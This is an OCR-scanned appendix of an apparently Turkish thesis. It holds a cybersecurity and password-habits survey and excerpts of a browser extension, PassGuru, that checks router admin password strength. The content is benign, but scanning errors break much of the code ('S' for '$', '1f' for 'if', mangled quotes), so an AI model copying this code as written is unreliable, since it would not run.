S. Bilgisayarinizda_cogunlukla hangi isletim sistemini kullaniyorsunuz?

[ ] Windows dagitimlari (7,8,10 vb.)

[ ] Linux Dagitimlar1 (Pardis, Ubuntu, Centos, Kali vb.)
[ ] Mac OS

[ ] Diger. (Liitfen belirtiniz.)

6. Kendinizi bir siber saldirinin hedefi olarak gérme ihtimalinizi 1-5 arasinda
puanlayiniz.

1- Kesinlikle hedef olmam.

2- Hedef olma ihtimalim azdir.

3- Hedef olup olmama ihtimalim aynidir.
4- Hedef olma ihtimalim yiiksektir.
5-Kesinlike hedefim.

RN

~

Parolalariniz1 sizin i¢in 6nem derecelerine gore siralayin (1 en 6nemli).

Evimdeki modemin yOnetici parolasi

Eposta hesap parolam

Takip ettigim bir forum sitesinin parolasi

Online bankacilik parolam

Sosyal media hesabimin parolasi

Tekrar girmeyi diisiinmedigim bir sitenin parolasi

| O

8. Egitim aldiginiz veya ¢alistiginiz alan bilgi giivenligi, siber gilivenlik, bilisim
teknolojileri ile ilgili mi?

[] Hayir [ ] Evet
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9. Sizce asagidaki cihazlardan hangileri ile bir web sitesine siber saldiri
diizenlemek miimkiindiir? (Birden fazla se¢enegi isaretleyebilirsiniz.)

[ ] Bilgisayar

[ ] Dijital Video Kayit Cihaz1

[ ]1IP kamera

[ ] Kablosuz Bebek Monitorii/ Kamerasi
(] Dijital termometre

[ ] TV uzaktan kumandasi

[ ] Yénlendirici (Modem)

[ ] Fotoselli Lamba

[ ] Kablosuz Yazici

10.  Bilgisayarinizda ¢ogunlukla hangi web tarayiciy1 kullanirsiniz?

[ ] Mozilla Firefox
[ ] Google Chrome
[ ] Microsoft Edge
[ ] Safari

[ ] Opera

[ ] Yandex

[ Internet Explorer
[ ]TOR

[] Digerleri

11. Sizce asagidaki cihazlardan hangileri siber saldirilara maruz kalabilir. (Birden
fazla secenegi isaretleyebilirsiniz.)

[] Bilgisayar

[ ] Mutfak robotu

[ ] Cep telefonu

[ ]1IP kamera

[ ] Kablosuz Bebek Monitérii/Kamerast
[ ] Akalli buzdolabi

[ ] Elektrikli siipiirge

[ ] Akl TV

[] Yonlendirici (Modem)
[ ] Fotograf makinesi

[ ] Kablosuz Yazict

12. Sizce bir parola se¢iminde en onemli faktor nedir? (Uygun gordiigliniiz her
secenegi isaretleyebilirsiniz)

[ ] Hatirlamas1 kolay olmali.

[ ] Kisa olmali, kolay yazilmali.

[] Eglenceli veya ilging olmal.

[ Giiglii olmali (zor tahmin edilmeli).
[] Diger. (Liitfen belirtiniz.)
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13.  Sizce asagidaki parolalardan hangisi en giivenli paroladir?

[ ] Mart2019.

[] 7ujMkoOadmin
[ ] SEays216.
[]iloveyou2

[ 1147258

14. Parolalariniz1 nasil segersiniz?

[ ] Hepsi ayni paroladir.

[ ] Kullandigim birkag parolam var, onlarin arasindan segerim.

[ ] Cogunlukla ayr parolalar segerim, nadiren bunlar birbirinin ayni olabilir.
[ ] Her hesap i¢in ayr1 parola se¢erim

15.  Parolalarinizi ¢ogunlukla nasil saklamayi tercih edersiniz?

[ ] Kagida, post-ite vb. bir fiziksel ortama yazarim.

[ ] Bilgisayarimda / cep telefonumda bir dosya iizerine kaydederim.
[ ] Web tarayicima hatirlamasi icin kaydederim.

[ ] Aklimda tutarim.

[_] Parola yonetim programi kullanir ve ona kaydederim.

[ ] Diger. (Liitfen belirtiniz.)

16. Bu ankette IP adresi vb. Kisisel hi¢ bir bilginiz kaydedilmemistir. Tiim
cevaplariniz anonimlestirilmistir. Bunun disindaki goriis ve Onerilerinizi buraya
yazabilirsiniz (istege bagli).

116



EK-2 PASSGURU UZANTISI KAYNAK KODLARI

Bu béliimde PassGURU web tarayici uzantisina dogrudan tesir eden bir kisim
kaynak kodlar sunulmustur.

EK-2.1 manijest.json kaynak kodlar:

"manifest version": 3,

"name": "PassGuru",
"description": "Parola test uzantAtsAt",
"version": "3.0",
"content scripts": [
{
"matches": [ "*://192.168.1.1/",..,"*://192.168.1.254/"],
"js": [ "passguru.js","sweetalert2.js","popup.js","content script.js"]
}
1,

"background": {

"scripts": ["background.js"],
"persistent": false

by

"permissions": [

"storage",
"notifications",

"contextMenus"
1,
"icons": {
"64": "64.png",

"48": "48.png",
"32": "32.png",
"l16": "16.png"
by
"page action": {
"default icon": "16.png",
"default popup": "popup.html"
}

EK-2.2 passguru.js kaynak kodlar:

document.body.style.border = "10px solid red";
swal ({ title: "PassGuru Devrede!",

text: "Bir IP adresine erismeye calistidini algiladim. EJer internete
bagli bir cihaza (modem, kamera vb.) erisiyorsan cihaz parolani senin ig¢in test
edebilirim. Test ig¢in tarayicindaki PassGuru ikonunu tikla! ",
imageUrl:
"https://cdnl.imggmi.com/uploads/2019/5/31/507438cc450469d85a229533d450e78f~
full.png",
imageWidth: 100,
imageHeight: 100,
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EK-2.3 popup.js kaynak kodlari
S (function () {

S ("#psw") .focus (function () {
S ("#message") .show () ;

)

/* S ("#psw") .blur (function () {
S ("#message") .hide () ;
Vi o*/

S('"#psw') .keyup (function () {
// $('#greet').text ('Parolan ' + $('#psw').val())

var lowerCaselLetters=/[a-z]/g;
var upperCaseletters = /[A-Z]/g;
var numbers = /[0-9]/g;

1f($("#psw') .val() .match (lowerCaseletters) ) {

S('#letter') .removeClass ("invalid");
S('#letter') .addClass ("valid") ;
} else {

S('"#letter') .removeClass ("valid");
S('"#letter') .addClass ("invalid") ;
}

if($("#psw') .val() .match (upperCaseletters)) {

S ('#capital') .removeClass ("invalid") ;
$S('"#capital').addClass ("valid");

} else {
$('"#capital') .removeClass ("valid");
S ('#capital').addClass ("invalid");

}
if($("#psw') .val() .match (numbers)) {

S ('#number') .removeClass ("invalid");
S ("#number') .addClass ("valid") ;

} else {
S ('"#number') .removeClass ("valid");
$ ("#number') .addClass ("invalid") ;

}
if($("#psw').val().length >=8) {

$('#length') .removeClass ("invalid") ;
$('"#length') .addClass ("valid");

} else {
$('#length') .removeClass ("valid") ;
$('#length') .addClass ("invalid") ;

}

var charRegex = new RegExp (" (?=.*["a-zA-Z0-9])");
var myPswd=$ ('#psw') .val();

if (charRegex.test (myPswd)) {
character.classList.remove ("invalid") ;
character.classList.add ("valid") ;
} else {
character.classList.remove ("valid");
character.classList.add ("invalid") ;
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